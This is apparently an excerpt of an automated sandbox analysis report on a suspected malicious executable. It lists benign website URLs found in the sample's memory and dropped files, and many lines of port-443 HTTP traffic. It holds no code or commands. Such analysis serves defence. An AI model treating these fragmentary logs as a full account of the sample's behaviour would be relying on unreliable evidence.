Source: 28d9ab8742.exe, 0000001F.00000003.2998081929.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 0e09cae2-b3ca-49c8-af40-a29526af4444.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: 28d9ab8742.exe, 0000001A.00000003.2864836158.0000000005785000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2997888798.0000000005EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875512562.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3007244384.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3009195039.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com3
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
